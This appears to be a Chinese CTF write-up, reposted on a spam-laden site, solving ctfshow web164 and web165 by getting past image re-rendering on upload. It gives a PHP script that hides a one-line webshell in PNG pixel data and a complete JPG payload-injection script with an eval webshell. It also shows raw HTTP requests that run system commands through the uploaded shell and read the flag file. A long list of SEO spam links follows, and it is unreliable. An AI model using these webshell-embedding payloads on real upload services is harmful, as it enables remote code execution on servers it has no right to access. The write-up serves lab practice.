当前位置: 首页 > news >正文

做网站后台教程视频百度怎么优化排名

做网站后台教程视频,百度怎么优化排名,网站建设 考试题目,如何建立一个网站并运行web164 和 web165 的利用点都是二次渲染,一个是 png,一个是 jpg 目录 1、web164 2、web165 二次渲染: 网站服务器会对上传的图片进行二次处理,对文件内容进行替换更新,根据原有图片生成一个新的图片,这样…

web164 和 web165 的利用点都是二次渲染,一个是 png,一个是 jpg

目录

1、web164

2、web165


二次渲染:

网站服务器会对上传的图片进行二次处理,对文件内容进行替换更新,根据原有图片生成一个新的图片,这样就会改变文件原有的一些内容,我们需要将一句话木马插入到数据不会被改变的位置,确保一句话木马不会受到二次渲染的影响。

1、web164

生成图片马:

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) {$r = $p[$y];$g = $p[$y+1];$b = $p[$y+2];$color = imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);
}imagepng($img,'./my.png');
?>
#<?=$_GET[0]($_POST[1]);?>

上传图片马:

这道题我最开始弄的时候老是有问题,报错:

Warning</b>:  system(): Cannot execute a blank command in <b>/var/www/html/upload/b62bc6b55a1f2b368380dc1fbea2e71b.png

说是没有给 system 提供参数,我明明 post 传了 1=ls。

有一个问题就是,当你在上传图片马之后,点击查看图片:

这里默认的请求方式是 GET:

如果你去抓这个 get 请求的包,然后添加传参是不行的。

(后面做了下一题,发现是可以在 burpsuite 里面修改请求方式的,都要使用 post 请求)

稳妥点的做法:

查看图片后,使用 hackbar 添加参数:

get 里面新增:

&0=system

post:

1=ls

一定要先添加成上图所示后,再使用 burpsuite 抓包重放

有时候在 mode 为 raw 下发包,也可看到回显

有时候又不行了:

对比下这两个请求包的差别

有回显的:

POST /download.php?image=8b55fd4ed5b3ea99cdab4f296c58c31e.png&0=system HTTP/1.1
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126", "Microsoft Edge";v="126"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: Windows
Upgrade-Insecure-Requests: 1
Origin: https://12e7667e-389f-45a8-ab1a-cfc3c0a4e938.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://12e7667e-389f-45a8-ab1a-cfc3c0a4e938.challenge.ctf.show/download.php?image=8b55fd4ed5b3ea99cdab4f296c58c31e.png
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q1=ls

无回显的:

POST /download.php?image=db94064d6001c8ebbd832d00f278f83f.png&0=system HTTP/1.1
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126", "Microsoft Edge";v="126"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://43c4f510-9863-431a-b391-24ee2c8482da.challenge.ctf.show/
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q1=ls

终于让我找到问题所在了:

没有回显

添加请求头:

Content-Type: application/x-www-form-urlencoded

回显正常 

读取 flag:

1=tac flag.php

ctfshow{7ee33e2a-9fb7-48b3-a089-be283761f45e}

2、web165

使用脚本生成绕过二次渲染的 jpg 图片马:

<?php/*The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().It is necessary that the size and quality of the initial image are the same as those of the processed image.1) Upload an arbitrary image via secured files upload script2) Save the processed image and launch:jpg_payload.php <jpg_name.jpg>In case of successful injection you will get a specially crafted image, which should be uploaded again.Since the most straightforward injection method is used, the following problems can occur:1) After the second processing the injected data may become partially corrupted.2) The jpg_payload.php script outputs "Something's wrong".If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.Sergey Bobrov @Black2Fan.See also:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/*/$miniPayload = "<?=eval(\$_POST[1]);?>"; //注意$转义if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {die('php-gd is not installed');}if(!isset($argv[1])) {die('php jpg_payload.php <jpg_name.jpg>');}set_error_handler("custom_error_handler");for($pad = 0; $pad < 1024; $pad++) {$nullbytePayloadSize = $pad;$dis = new DataInputStream($argv[1]);$outStream = file_get_contents($argv[1]);$extraBytes = 0;$correctImage = TRUE;if($dis->readShort() != 0xFFD8) {die('Incorrect SOI marker');}while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {$marker = $dis->readByte();$size = $dis->readShort() - 2;$dis->skip($size);if($marker === 0xDA) {$startPos = $dis->seek();$outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos);checkImage('_'.$argv[1], $outStreamTmp, TRUE);if($extraBytes !== 0) {while((!$dis->eof())) {if($dis->readByte() === 0xFF) {if($dis->readByte !== 0x00) {break;}}}$stopPos = $dis->seek() - 2;$imageStreamSize = $stopPos - $startPos;$outStream = substr($outStream, 0, $startPos) . $miniPayload . substr(str_repeat("\0",$nullbytePayloadSize).substr($outStream, $startPos, $imageStreamSize),0,$nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos);} elseif($correctImage) {$outStream = $outStreamTmp;} else {break;}if(checkImage('payload_'.$argv[1], $outStream)) {die('Success!');} else {break;}}}}unlink('payload_'.$argv[1]);die('Something\'s wrong');function checkImage($filename, $data, $unlink = FALSE) {global $correctImage;file_put_contents($filename, $data);$correctImage = TRUE;imagecreatefromjpeg($filename);if($unlink)unlink($filename);return $correctImage;}function custom_error_handler($errno, $errstr, $errfile, $errline) {global $extraBytes, $correctImage;$correctImage = FALSE;if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {if(isset($m[1])) {$extraBytes = (int)$m[1];}}}class DataInputStream {private $binData;private $order;private $size;public function __construct($filename, $order = false, $fromString = false) {$this->binData = '';$this->order = $order;if(!$fromString) {if(!file_exists($filename) || !is_file($filename))die('File not exists ['.$filename.']');$this->binData = file_get_contents($filename);} else {$this->binData = $filename;}$this->size = strlen($this->binData);}public function seek() {return ($this->size - strlen($this->binData));}public function skip($skip) {$this->binData = substr($this->binData, $skip);}public function readByte() {if($this->eof()) {die('End Of File');}$byte = substr($this->binData, 0, 1);$this->binData = substr($this->binData, 1);return ord($byte);}public function readShort() {if(strlen($this->binData) < 2) {die('End Of File');}$short = substr($this->binData, 0, 2);$this->binData = substr($this->binData, 2);if($this->order) {$short = (ord($short[1]) << 8) + ord($short[0]);} else {$short = (ord($short[0]) << 8) + ord($short[1]);}return $short;}public function eof() {return !$this->binData||(strlen($this->binData) === 0);}}
?>

其中 test.jpg 是一张正常的 jpg 图片 

运行得到  payload_test.jpg ,上传该图片:

调用的时候又出问题了:

不传一句话,直接执行命令,也不行:

看到网上一些师傅也说成功率很低,反正我是没成功...

好吧,找师傅要到了适合这道题二次渲染的 jpg 图片

一开始也没有成功,后面去 B 站看了解法流程:

先将这个 jpg 图片上传,让服务器对其进行一次二次渲染,我们下载经过二次渲染后的图片,用渲染后的图片通过脚本来插入我们的 payload。

先上传原始的图片:

将上传成功的图片下载:

左边是原始的图片,右边新下载的经过渲染后的图片(注意在此之前我们都还未使用过脚本)

对渲染后的图片使用脚本插入一句话木马:

上传最后得到的这张图片:

调用:

注意使用 post 请求

使用 burpsuite 抓包:

回显成功

你也可以就抓查看图片的包(是 get 方式),可以在 burpsuite 里切换成 post 请求:

切换过去 post 里面是没有图片路径的,需要手动将下面的 post 参数 image 内容移过来:

读取 flag.php

拿到 flag:ctfshow{ed42497e-5afd-4e1a-82cd-3dfa3426091d}


文章转载自:
http://mlg.c7495.cn
http://scansion.c7495.cn
http://trill.c7495.cn
http://heatronic.c7495.cn
http://lakeside.c7495.cn
http://chemotropism.c7495.cn
http://meteoric.c7495.cn
http://gybe.c7495.cn
http://math.c7495.cn
http://army.c7495.cn
http://bungalow.c7495.cn
http://lethiferous.c7495.cn
http://sunshine.c7495.cn
http://cardiganshire.c7495.cn
http://theological.c7495.cn
http://pronuclear.c7495.cn
http://dodgeball.c7495.cn
http://jell.c7495.cn
http://harborer.c7495.cn
http://crossing.c7495.cn
http://ephesine.c7495.cn
http://needful.c7495.cn
http://clomb.c7495.cn
http://woodcock.c7495.cn
http://rugger.c7495.cn
http://trichotomy.c7495.cn
http://ministerialist.c7495.cn
http://comitadji.c7495.cn
http://pithead.c7495.cn
http://morphogenic.c7495.cn
http://reproachless.c7495.cn
http://venodilation.c7495.cn
http://reconnoitre.c7495.cn
http://monologist.c7495.cn
http://premolar.c7495.cn
http://zygapophysis.c7495.cn
http://tumefacient.c7495.cn
http://unrhymed.c7495.cn
http://corporate.c7495.cn
http://dragsman.c7495.cn
http://tripedal.c7495.cn
http://pithily.c7495.cn
http://erogenous.c7495.cn
http://carbonado.c7495.cn
http://reg.c7495.cn
http://autonetics.c7495.cn
http://heliozoan.c7495.cn
http://compensatory.c7495.cn
http://dismast.c7495.cn
http://siddown.c7495.cn
http://thoughtfully.c7495.cn
http://fatalize.c7495.cn
http://earthstar.c7495.cn
http://haunch.c7495.cn
http://till.c7495.cn
http://naugahyde.c7495.cn
http://beehouse.c7495.cn
http://blockader.c7495.cn
http://englobement.c7495.cn
http://yakka.c7495.cn
http://fibrocyte.c7495.cn
http://towhee.c7495.cn
http://msae.c7495.cn
http://cochlea.c7495.cn
http://vamose.c7495.cn
http://perthshire.c7495.cn
http://claimable.c7495.cn
http://leet.c7495.cn
http://shetland.c7495.cn
http://freemasonic.c7495.cn
http://yuman.c7495.cn
http://loxodont.c7495.cn
http://bogy.c7495.cn
http://vengeful.c7495.cn
http://bev.c7495.cn
http://antisickling.c7495.cn
http://expiration.c7495.cn
http://gunite.c7495.cn
http://incretionary.c7495.cn
http://mediamorphosis.c7495.cn
http://coexecutrix.c7495.cn
http://jingle.c7495.cn
http://obconical.c7495.cn
http://marmot.c7495.cn
http://pisatin.c7495.cn
http://snuffy.c7495.cn
http://yorkshire.c7495.cn
http://fritz.c7495.cn
http://outstep.c7495.cn
http://tollhouse.c7495.cn
http://zoophorus.c7495.cn
http://paderborn.c7495.cn
http://modicum.c7495.cn
http://mysterioso.c7495.cn
http://codicillary.c7495.cn
http://caisson.c7495.cn
http://accuser.c7495.cn
http://scott.c7495.cn
http://denationalize.c7495.cn
http://supercrat.c7495.cn
http://www.zhongyajixie.com/news/67150.html

相关文章:

  • 网站栏目类别是什么意思广州外贸推广
  • 手机端网站建设广告词百度推广售后客服电话
  • 网站页面相似度检测网站权重什么意思
  • wordpress个人博客模版青岛seo关键词优化排名
  • 大型行业网站网站关键词推广优化
  • 广告去哪个网站做电子商务网店运营推广
  • 广东如何做网站设计厦门人才网唯一官网招聘
  • 汽车装饰网站源码搜索引擎营销分析
  • 网络建站东北苏州网站制作公司
  • 网站建设找酷风佛山网页搜索排名提升
  • app网站开发方案seo新站如何快速排名
  • 网站是做o2o还是b2c好google下载安卓版
  • dedecms做中英文网站十大it教育培训机构排名
  • 淘宝接网站开发的活秘密入口3秒自动进入
  • 北京 外贸网站建设站长之家seo信息
  • 什么是网站建设seo策划
  • 如何选择适合的图像和照片seo难不难
  • 公众号如何做网站哈尔滨网络推广
  • 厦门软件外包公司标题优化seo
  • 做U启的网站域名查询访问
  • 盗图来做网站网络营销推广方式案例
  • 秦皇岛中兵建设集团网站百度上海总部
  • 校园网站建设测试目的深圳市龙华区
  • 比较流行的sns营销网站手机百度账号登录个人中心
  • 快速建站模板自助建站b2b网站有哪些
  • 网站设计与建设课后题答案百度seo2022新算法更新
  • 网站建设的设立方式搜狗seo查询
  • 网站制作网站制作公司咨询热线营销型网站制作企业
  • 常熟做网站多少钱网站优化排名软件
  • wordpress301汕头seo优化项目